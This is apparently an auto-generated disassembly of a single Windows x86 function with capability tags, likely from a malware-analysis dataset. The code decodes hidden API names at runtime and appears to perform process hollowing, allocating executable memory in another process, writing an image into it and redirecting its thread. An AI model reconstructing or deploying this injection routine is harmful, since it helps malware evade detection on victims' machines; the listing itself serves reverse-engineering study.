Function at 0x4018a1
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x3d4]
sub esp, 0x454
mov eax, dword [0x4a66bc]
xor eax, ebp
mov dword [ebp + 0x3d0], eax
mov eax, dword [ebp + 0x3dc]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp + 0x3e0]
push ebx
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp + 0x3e4]
push esi
push edi
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x3ec]
mov dword [ebp - 0x80], eax
xor eax, eax
lea edi, [ebp + 0x388]
stosd dword es:[edi], eax
push 0x197800
stosd dword es:[edi], eax
push 0x6eb9367
stosd dword es:[edi], eax
push 0x347579bf
push 0x99b683e
stosd dword es:[edi], eax
mov ebx, 0x33529905
push ebx
push 5
stosb byte es:[edi], al
lea eax, [ebp + 0x388]
push 0x10
push eax
mov esi, ecx
call fcn.004014be
or dword [ebp - 0x64], 0xffffffff
push 0x103
lea eax, [ebp + 0x271]
push 0
push eax
mov byte [ebp + 0x270], 0
call fcn.00457910
add esp, 0x2c
push 0x104
lea eax, [ebp + 0x270]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
xor eax, eax
lea edi, [ebp + 0x374]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x1bdc9
push 0x606cd77
stosd dword es:[edi], eax
push 0xafa719
stosd dword es:[edi], eax
push 0x1882667d
push 0x998f09b
stosw word es:[edi], ax
push 0x33ec8ebb
push 6
stosb byte es:[edi], al
lea eax, [ebp + 0x374]
push 0x12
push eax
call fcn.004014be
mov edx, dword [ebp - 0x70]
add esp, 0x24
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x80]
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp + 0x270]
push eax
mov ecx, esi
call fcn.00401631
test eax, eax
je 0x401be8
xor eax, eax
lea edi, [ebp + 0x39c]
stosd dword es:[edi], eax
push 0x606f874
stosd dword es:[edi], eax
push 0xa986e4
stosd dword es:[edi], eax
push 0xbbf847f
push 0x18766192
stosd dword es:[edi], eax
push 0x31883960
push 5
stosb byte es:[edi], al
lea eax, [ebp + 0x39c]
push 0x10
push eax
call fcn.004014be
xor eax, eax
lea edi, [ebp + 0x3c0]
stosd dword es:[edi], eax
push 0x301ec
stosd dword es:[edi], eax
push 0x18766192
push 0xa32a44a
stosd dword es:[edi], eax
push 0x30efa2cf
push 4
stosb byte es:[edi], al
lea eax, [ebp + 0x3c0]
push 0xc
push eax
call fcn.004014be
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 0x34]
and dword [ebp - 0x60], 0
add esp, 0x3c
cmp eax, dword [ebp - 0x74]
jne 0x401a74
mov eax, dword [ebp + 0x3e8]
cmp dword [ebp - 0x68], eax
jb 0x401a74
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea eax, [ebp + 0x388]
push eax
push dword [esi]
call edi
mov ecx, dword [ebp - 0x74]
lea edx, [ebp - 0x70]
push edx
push 0x40
push dword [ebp - 0x68]
mov dword [0x4ab244], eax
push ecx
push dword [ebp - 0x64]
mov dword [ebp - 0x60], ecx
call eax
jmp 0x401b24
xor eax, eax
lea edi, [ebp + 0x3b0]
stosd dword es:[edi], eax
push 0x14
stosd dword es:[edi], eax
push 0xaae4cb
stosd dword es:[edi], eax
push 0x3390808c
push 0x99b683e
stosw word es:[edi], ax
push ebx
push 5
stosb byte es:[edi], al
lea eax, [ebp + 0x3b0]
push 0xe
push eax
call fcn.004014be
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
add esp, 0x20
lea eax, [ebp + 0x3b0]
push eax
push dword [esi]
call edi
push dword [ebp - 0x74]
mov ebx, dword [ebp - 0x64]
mov dword [ebp - 0x68], eax
call fcn.00401d7a
mov ebx, 0x3000
test eax, eax
je 0x401ae7
mov eax, dword [ebp - 0x6c]
push 0x40
push ebx
push dword [ebp + 0x3e8]
push dword [eax + 0x34]
push dword [ebp - 0x64]
call dword [ebp - 0x68]
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 0
jne 0x401b2e
mov eax, dword [ebp - 0x6c]
call fcn.00401d31
test eax, eax
je 0x401c04
push 0x40
push ebx
push dword [ebp + 0x3e8]
push 0
push dword [ebp - 0x64]
call dword [ebp - 0x68]
mov dword [ebp - 0x60], eax
test eax, eax
je 0x401c04
push dword [ebp - 0x7c]
mov eax, dword [ebp - 0x6c]
call fcn.00401d4a
cmp dword [ebp - 0x60], 0
je 0x401c04
lea eax, [ebp + 0x374]
push eax
push dword [esi]
call edi
lea ecx, [ebp - 0x70]
push ecx
push 4
lea ecx, [ebp - 0x60]
push ecx
mov ecx, dword [ebp + 0x48]
add ecx, 8
push ecx
push dword [ebp - 0x64]
mov dword [0x4ab248], eax
call eax
mov eax, dword [ebp - 0x60]
mov ebx, dword [ebp - 0x6c]
lea ecx, [ebp - 0x70]
push ecx
push dword [ebp + 0x3e8]
mov dword [ebx + 0x34], eax
push dword [ebp - 0x7c]
push eax
push dword [ebp - 0x64]
call dword [0x4ab248]
test eax, eax
je 0x401c04
lea eax, [ebp + 0x39c]
push eax
push dword [esi]
call edi
mov dword [0x4ab24c], eax
lea eax, [ebp + 0x3c0]
push eax
push dword [esi]
call edi
mov dword [0x4ab250], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x5c], 0x10007
cmp eax, dword [ebp - 0x74]
jne 0x401bb6
mov eax, dword [ebx + 0x28]
add eax, dword [ebx + 0x34]
mov dword [ebp + 0x54], eax
jmp 0x401bbe
mov ecx, dword [ebx + 0x28]
add ecx, eax
mov dword [ebp + 0x54], ecx
lea eax, [ebp - 0x5c]
push eax
push dword [ebp - 0x78]
call dword [0x4ab24c]
mov eax, dword [ebp - 0x80]
push dword [eax]
call section..text
pop ecx
push dword [ebp - 0x78]
call dword [0x4ab250]
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp + 0x3d0]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004578b0
add ebp, 0x3d4
leave
ret 0x14
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]